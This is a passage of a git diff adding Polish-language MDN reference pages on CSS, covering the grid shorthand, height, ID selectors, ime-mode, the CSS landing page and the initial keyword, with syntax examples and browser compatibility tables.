+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("font-family") }}, {{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("line-height") }}</p>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/font", "es": "es/CSS/font", "fr": "fr/CSS/font", "ja": "ja/CSS/font" } ) }}</p>
diff --git a/files/pl/web/css/grid/index.html b/files/pl/web/css/grid/index.html
new file mode 100644
index 0000000000..7510f2db2c
--- /dev/null
+++ b/files/pl/web/css/grid/index.html
@@ -0,0 +1,200 @@
+---
+title: grid
+slug: Web/CSS/grid
+translation_of: Web/CSS/grid
+---
+<p class="syntaxbox"><strong><code>grid </code></strong>jest własnością skrótową, która ustawia wszystkie wyraźne oraz domniemane własności grid przy pomocy pojedynczej deklaracji.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>Uwaga:</strong> Można ustawić jedynie sprecyzowane bądź domniemane wartości w jednej deklaracji własności <code>grid</code>. Podwłasności, których nie określisz zostaną ustawione na wartości początkowe. Własności odstępów nie zostaną zresetowane przez ten zapis skrótowy.</p>
+</div>
+
+<h2 id="Własności_składowe">Własności składowe</h2>
+
+<p>Ta własność jest zapisem skrótowym następujących własności</p>
+
+<ul>
+ <li><a href="/pl/docs/Web/CSS/grid-auto-columns"><code>grid-auto-columns</code></a></li>
+ <li><a href="/pl/docs/Web/CSS/grid-auto-flow"><code>grid-auto-flow</code></a></li>
+ <li><a href="/pl/docs/Web/CSS/grid-auto-rows"><code>grid-auto-rows</code></a></li>
+ <li><a href="/pl/docs/Web/CSS/grid-template-areas"><code>grid-template-areas</code></a></li>
+ <li><a href="/pl/docs/Web/CSS/grid-template-columns"><code>grid-template-columns</code></a></li>
+ <li><a href="/pl/docs/Web/CSS/grid-template-rows"><code>grid-template-rows</code></a></li>
+</ul>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* &lt;'grid-template'&gt; values */
+grid: none;
+grid: "a" 100px "b" 1fr;
+grid: [linename1] "a" 100px [linename2];
+grid: "a" 200px "b" min-content;
+grid: "a" minmax(100px, max-content) "b" 20%;
+grid: 100px / 200px;
+grid: minmax(400px, min-content) / repeat(auto-fill, 50px);
+
+/* &lt;'grid-template-rows'&gt; /
+ [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;? values */
+grid: 200px / auto-flow;
+grid: 30% / auto-flow dense;
+grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;
+grid: [line1] minmax(20em, max-content) / auto-flow dense 40%;
+
+/* [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? /
+ &lt;'grid-template-columns'&gt; values */
+grid: auto-flow / 200px;
+grid: auto-flow dense / 30%;
+grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);
+grid: auto-flow dense 40% / [line1] minmax(20em, max-content);
+
+/* Global values */
+grid: inherit;
+grid: initial;
+grid: unset;
+</pre>
+
+<h3 id="Wartości">Wartości</h3>
+
+<dl>
+ <dt><code>&lt;'grid-template'&gt;</code></dt>
+ <dd>Definiuje szablon siatki strony - własności <code>grid-template-columns</code>, <code>grid-template-rows</code> oraz <code>grid-template-areas</code>.</dd>
+ <dt><code>&lt;'grid-template-rows'&gt; / [ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-columns'&gt;?</code></dt>
+ <dd>Ustawia auto-wyrównanie przy pomocy jawnych wierszy ustawionych własnością <code>grid-template-rows</code>, ustawieniem wartości <code>grid-template-rows</code> na <code>none</code> oraz określeniem w jaki sposób wykonywać automatyczne powtarzanie kolumn przy pomocy <code>grid-auto-columns</code> i ustawienie wartości <code>grid-auto-rows</code> na <code>auto</code>. <code>grid-auto-flow </code>zostaje ustawione na <code>column</code>, jeśli <code>dense</code> jest określone. Wszystkie inne podwłasności <code>grid </code>są ustawiane na wartości początkowe.</dd>
+ <dt><code>[ auto-flow &amp;&amp; dense? ] &lt;'grid-auto-rows'&gt;? / &lt;'grid-template-columns'&gt;</code></dt>
+ <dd>Ustawia auto-wyrównanie przy pomocy jawnych kolumn ustawionych własnością <code>grid-template-columns</code>, ustawieniem wartości własności <code>grid-template-rows </code>na <code>none </code>oraz określeniem w jaki sposób wykonywać automatyczne powtarzanie wierszy przy pomocy <code>grid-auto-rows </code>i ustawienie wartości <code>grid-auto-columns </code>na <code>auto</code>.<code> grid-auto-flow </code>zostaje ustawione na <code>row</code>, jeśli <code>dense</code> jest określon. Wszystkie inne podwłasności <code>grid </code>są ustawiane na wartości początkowe.</dd>
+</dl>
+
+<h2 id="Formalna_definicja">Formalna definicja</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Formalna_składna">Formalna składna</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Tworzenie_układu_grid_układ_siatki">Tworzenie układu grid (układ siatki)</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div id="container"&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+ &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">#container {
+ display: grid;
+ grid: repeat(2, 60px) / auto-flow 80px;
+}
+
+#container &gt; div {
+ background-color: #8ca0ff;
+ width: 50px;
+ height: 50px;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Creating_a_grid_layout", "100%", 150)}}</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}</td>
+ <td>{{Spec2("CSS3 Grid")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_wersjami_przeglądarek">Kompatybilność z wersjami przeglądarek</h2>
+
+
+
+<p>{{Compat("css.properties.grid")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Related CSS properties: {{cssxref("grid-template")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-flow")}}</li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li>
+ <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas#Grid_definition_shorthands">Grid template areas - Grid definition shorthands</a></em></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+ <ol>
+ <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+ <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+ <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/pl/web/css/height/index.html b/files/pl/web/css/height/index.html
new file mode 100644
index 0000000000..a17ec96c3f
--- /dev/null
+++ b/files/pl/web/css/height/index.html
@@ -0,0 +1,92 @@
+---
+title: height
+slug: Web/CSS/height
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/height
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Własność <code>height</code> definiuje w elemencie wysokość obszaru zawartości. Obszar zawartości znajduje się<em>wewnątrz</em> dopełnienia, obramowania i marginesów elementu.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("auto") }}</li>
+ <li>Stosowana do: elementy blokowe i elementy podmieniane</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: odnoszą się do wysokości zawierającego bloku</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}:</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">height: &lt;length&gt; | &lt;percentage&gt; | auto | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<ul>
+ <li><strong>length</strong> : może być w jednostkach px, cm, in</li>
+ <li><strong>percentage</strong> : % określone jako procenty wysokości zawierającego bloku</li>
+ <li><strong>auto</strong> : przeglądarka obliczy i wybierze wysokość dla określonego elementu</li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/height.html">Zobacz przykład</a></p>
+
+<pre class="eval">table { height: 100%; }
+
+img { height: 200px; }
+
+form { height: auto; }
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Własności {{ Cssxref("min-height") }} i {{ Cssxref("max-height") }} nadpisują {{ Cssxref("height") }}.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#height">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visudet.html#the-height-property">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p><a href="pl/CSS/box_model">box model</a>, {{ Cssxref("width") }}, {{ Cssxref("-moz-box-sizing") }}, {{ Cssxref("min-height") }}, {{ Cssxref("max-height") }}</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/height", "es": "es/CSS/height", "fr": "fr/CSS/height" } ) }}</p>
diff --git a/files/pl/web/css/id_selectors/index.html b/files/pl/web/css/id_selectors/index.html
new file mode 100644
index 0000000000..927d3795be
--- /dev/null
+++ b/files/pl/web/css/id_selectors/index.html
@@ -0,0 +1,77 @@
+---
+title: Selektory ID
+slug: Web/CSS/ID_selectors
+tags:
+ - Beginner
+ - CSS
+ - CSS Reference
+ - Selektory
+translation_of: Web/CSS/ID_selectors
+---
+<div>{{CSSRef("Selectors")}}<br>
+<strong>Selektor ID</strong> wyszukuje każdy element z atrybutem {{htmlattrxref("ID")}} o takiej samej nazwie w dokumencie HTML.</div>
+
+<div> </div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">#przykladowe_id { <em>właściwości stylu</em> }</pre>
+
+<p>Jest to równoważne z {{Cssxref("Attribute_selectors", "attribute selector")}}:</p>
+
+<pre class="syntaxbox">[id=przykladowe_id] { <em>właściwości stylu</em> }</pre>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: css">span#mojeid {
+ background-color: DodgerBlue;
+}
+</pre>
+
+<pre class="brush: html">&lt;span id="mojeid"&gt;Przykładowy tekst.&lt;/span&gt;
+&lt;span&gt;Kolejny przykładowy tekst.&lt;/span&gt;
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a href="https://drafts.csswg.org/selectors-4/#id-selectors">Selectors Level 4</a></li>
+ <li><a href="https://drafts.csswg.org/selectors-3/#id-selectors">Selectors Level 3</a></li>
+ <li><a href="http://www.w3.org/TR/CSS2/selector.html#id-selectors">CSS Level 2 (Revision 1)</a></li>
+ <li><a href="http://www.w3.org/TR/CSS1/#id-as-selector">CSS Level 1</a></li>
+</ul>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><strong>Przeglądarka</strong></td>
+ <td><strong>Wsparcie</strong></td>
+ </tr>
+ <tr>
+ <td>Chrome</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Edge</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>Tak</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>Tak</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/ime-mode/index.html b/files/pl/web/css/ime-mode/index.html
new file mode 100644
index 0000000000..ea3fbd0d3e
--- /dev/null
+++ b/files/pl/web/css/ime-mode/index.html
@@ -0,0 +1,9 @@
+---
+title: ime-mode
+slug: Web/CSS/ime-mode
+tags:
+ - CSS
+translation_of: Web/CSS/ime-mode
+---
+<p>Ta strona nie ma treści. Możesz stworzyć MDC.</p>
+<p>test pl</p>
diff --git a/files/pl/web/css/index.html b/files/pl/web/css/index.html
new file mode 100644
index 0000000000..eabf6e687b
--- /dev/null
+++ b/files/pl/web/css/index.html
@@ -0,0 +1,95 @@
+---
+title: 'CSS: Kaskadowe arkusze stylów'
+slug: Web/CSS
+tags:
+ - CSS
+ - Kaskadowe arkusze stylów
+ - arkusze stylów
+ - szablony
+ - wygląd
+translation_of: Web/CSS
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>Kaskadowe arkusze stylów </strong>(<strong>CSS</strong>) są językiem stylów używanym do opisania warstwy prezentacji dokumentów napisanych w <a href="/en-US/docs/HTML" title="HyperText Markup Language">HTML</a></span> lub <a href="/en-US/docs/XML">XML</a> (włączając pochodne <a href="/en-US/docs/SVG">SVG</a> czy <a href="/en-US/docs/XHTML">XHTML</a>). CSS opisuje jak elementy powinny być prezentowane na ekranie, przy wydruku, w czytniku ekranowym, albo w innych mediach.</p>
+
+<p>CSS jest jednym z podstawowych języków <strong>otwartej sieci</strong> i jest ustandaryzowany pomiędzy przeglądarkami zgodnie ze <a href="http://w3.org/Style/CSS/#specs">specyfikacją W3C</a>. Rozwijany stopniowo, CSS1 obecnie przestarzały , CSS2.1 rekomendowany, oraz <a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>, obecnie rozbity na mniejsze moduły w ciągłym procesie standaryzacji.</p>
+
+<section id="sect1">
+<ul class="card-grid">
+ <li><span>CSS wstęp</span>
+
+ <p>Jeżeli dopiero zaczynasz przygodę z web developmentem upewnij się, że przeczytałeś artykuł <a href="/en-US/docs/Learn/Getting_started_with_the_web/CSS_basics">podstawy CSS</a>, który opisuje czym jest CSS i jak go używać.</p>
+ </li>
+ <li><span>CSS poradniki</span>
+ <p>Nasza<a href="/en-US/docs/Learn/CSS"> strefa uczenia CSS </a>zawiera niezliczoną ilość tutoriali, które sprawnie przeprowadzą Cie z poziomu początkującego do eksperta, pokrywając wszystkie fundamentalne zagadnienia.</p>
+ </li>
+ <li><span>CSS Reference</span>
+ <p>Our <a href="/en-US/docs/Web/CSS/Reference">exhaustive CSS reference</a> for seasoned Web developers describes every property and concept of CSS.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Poradniki">Poradniki</h2>
+
+<p><a href="/en-US/docs/Learn/CSS">CSS Learning Area</a> zawiera wiele modułów, które pozwolą Ci nauczyć się CSS od podstaw bez potrzeby wcześniejszej znajomości zagadnień.</p>
+
+<dl>
+ <dt><a href="/pl/docs/Learn/CSS/Introduction_to_CSS">Wprowadzenie do CSS</a></dt>
+ <dd>Ten moduł wprowadza w podstawowe zagadnienia, tłumaczy jak CSS działa, omawia selektory i właściwości, pisanie reguł CSS, dodawanie CSS do HTMLa, jednostki i kolory, kaskadowość i dziedziczenie, podstawy modelu blokowego, a także debugowania.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_text">Stylowanie tekstu</a></dt>
+ <dd>Ten moduł opisuje podstawy stylowania tekstów, włączając w to ustawienia fontów, grubość, kursywe, interlinie i odstępy między literami, cienie oraz inne właściwości tekstu. Ten moduł kończy się dodaniem niestandardowych fontów na Twoją stronę oraz stylowaniem list i linków.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes">Stylowanie bloków</a></dt>
+ <dd>Moduł ten poświęcony jest stylowaniu bloków, jest to krok w przód jeżeli chodzi o ułożenie elementów na stronie. W tym module streścimy czym jest model blokowy (ang. box model), a następnie zajmiemy się kontrolą wyglądu witryny poprzez wewnętrzne i zewnętrzne marginesy, obramowania, kolorowe tła, obrazki i inne właściwści, a także rzeczy bardziej widowiskowe takie jak cienie i filtry.</dd>
+ <dt><a href="/en-US/docs/Learn/CSS/CSS_layout">CSS layout</a></dt>
+ <dd>Do tej pory poznaliśmy podstawy takie jak stylowanie tekstu czy stylowanie i manipulowanie blokami z treścią. Przyszedł czas przyjrzeć się w jaki sposób umieścić dane bloki w odpowiednich miejscach m.in. w zależności od szerokości ekranu. Dzięki poznaniu niezabędnych podstaw możemy teraz wejść głębiej w tematykę szablonów CSS, omówić różne ustawienia wyświetlania, tradycyjne metody wykorzystujące <em>float </em>i <em>position</em>, a także nowe narzędzia takie jak <em>flexbox</em>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Referencje">Referencje</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Reference">CSS reference</a>: Wyczerpujący zbiór odnośników opisujących każdą właściwość i koncepcję CSS.</li>
+ <li>CSS kluczowe koncepcje:
+ <ul>
+ <li><a href="/en-US/docs/CSS/Syntax">Składnia i forma języka</a></li>
+ <li><a href="/en-US/docs/CSS/Specificity">Pierwszeństwo</a> i <a href="/en-US/docs/CSS/inheritance">dziedziczenie</a></li>
+ <li><a href="/en-US/docs/CSS/box_model">Model blokowy</a> i <a href="/en-US/docs/CSS/margin_collapsing">łączenie marginesów</a></li>
+ <li>The <a href="/en-US/docs/Web/CSS/All_About_The_Containing_Block">containing block</a></li>
+ <li><a href="/en-US/docs/CSS/Understanding_z-index/The_stacking_context" title="The stacking context">Stacking</a> and <a href="/en-US/docs/CSS/block_formatting_context" title="block formatting context">block-formatting</a> contexts</li>
+ <li><a href="/en-US/docs/CSS/initial_value">Initial</a>, <a href="/en-US/docs/CSS/computed_value">computed</a>, <a href="/en-US/docs/CSS/used_value">used</a>, and <a href="/en-US/docs/CSS/actual_value">actual</a> values</li>
+ <li><a href="/en-US/docs/CSS/Shorthand_properties">CSS skrócone właściwości</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Media_Queries">Media queries</a></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 class="Tools" id="Narzędzia_dla_developerów_CSS">Narzędzia dla developerów CSS</h2>
+
+<ul>
+ <li>Możesz użyć <a class="external" href="https://jigsaw.w3.org/css-validator/">W3C CSS Validation Service</a> do sprawdzenia czy Twój CSS jest poprawny. Jest to nieoceniony pomocnik przy debugowaniu kodu.</li>
+ <li><a href="/en-US/docs/Tools">Firefox Developer Tools</a> pozwalają na podgląd i edycję na żywo kodu CSS dzięki <a href="/en-US/docs/Tools/Page_Inspector">inspektorowi</a> i <a href="/en-US/docs/Tools/Style_Editor">edytorowi stylów</a>.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/60">Roszerzenie Web Developer</a> dla Firefoxa pozwala na śledzenie i edytowanie na żywo CSS na oglądanych stronach.</li>
+ <li>Społeczność stworzyła inne <a href="/en-US/docs/Web/CSS/Tools">różnorodne narzędzia CSS</a>.</li>
+</ul>
+
+<h2 id="Meta_bugs">Meta bugs</h2>
+
+<ul>
+ <li>Firefox: {{bug(1323667)}}</li>
+</ul>
+</div>
+</div>
+</section>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Demos_of_open_web_technologies#CSS">CSS przykłady</a>: Dostań kreatywnego doładowanie dzięki przeglądaniu przykładów użycia najnowszych technik CSS.</li>
+ <li>Języki webowe, do których CSS jest najczęściej dołączany: <a href="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/SVG">SVG</a>, <a href="/en-US/docs/XHTML">XHTML</a> i <a href="/en-US/docs/XML">XML</a>.</li>
+ <li>Technologie Mozilli, które intensywnie używają CSS : <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>, <a href="/en-US/Firefox">Firefox</a>, <a href="/en-US/docs/Mozilla/Thunderbird">Thunderbird rozszerzenia</a> i <a href="/en-US/Add-ons/Themes">motyw</a>y.</li>
+</ul>
diff --git a/files/pl/web/css/initial/index.html b/files/pl/web/css/initial/index.html
new file mode 100644
index 0000000000..e6d882efe5
--- /dev/null
+++ b/files/pl/web/css/initial/index.html
@@ -0,0 +1,118 @@
+---
+title: initial
+slug: Web/CSS/initial
+translation_of: Web/CSS/initial
+---
+<div>{{CSSRef}}</div>
+
+<p>Słowo kluczowe <code>initial</code> aplikuje w CSSie początkową wartość do właściwości danego elementu. Jest ono dozwolne w każdej właściwości CSS i powoduje ono użycie <a href="https://developer.mozilla.org/pl/docs/Web/CSS/Warto%C5%9B%C4%87_pocz%C4%85tkowa">wartości początkowej</a>.</p>
+
+<div class="note">
+<p>We <a href="https://developer.mozilla.org/pl/docs/Web/CSS/Dziedziczenie#Właściwości_dziedziczone">właściwościach dziedziczonych</a> wartość początkowa może być zaskakująca i powinieneś się zastanowić nad użyciem słów kluczowych {{cssxref("inherit")}}, {{cssxref("unset")}}, lub {{cssxref("revert")}} zamiast wartości początkowej.</p>
+</div>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: css"> /* nagłówek z zieloną ramką */
+ h2 { border: medium solid green }
+
+ /* poniższy kod użyty w sidebarze przywraca kolor początkowy (initial) ramki */
+ #sidebar h2 { border-color: initial; }
+</pre>
+
+<pre class="brush: css"> &lt;p style="color:red"&gt;
+ ten tekst jest czerwony
+ &lt;em style="color:initial"&gt;
+ ten tekst ma kolor początkowy (initial), np. czarny
+ &lt;/em&gt;
+ ponownie kolor czerwony
+ &lt;/p&gt; </pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Cascade', '#initial', 'initial') }}</td>
+ <td>{{Spec2('CSS4 Cascade')}}</td>
+ <td>No changes from Level 3.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Cascade', '#initial', 'initial') }}</td>
+ <td>{{Spec2('CSS3 Cascade')}}</td>
+ <td>Defines what an initial value is.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Values', "#common-keywords", "initial") }}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>Defines the keyword.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility"><nobr>Wsparcie przeglądarek</nobr></h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Podstawowe wspracie</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+ {{CompatGeckoDesktop("19.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>15.0</td>
+ <td>1.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Podstawowe wsparcie</td>
+ <td>1.0</td>
+ <td>{{CompatGeckoMobile("1.9.1")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+ {{CompatGeckoMobile("19.0")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
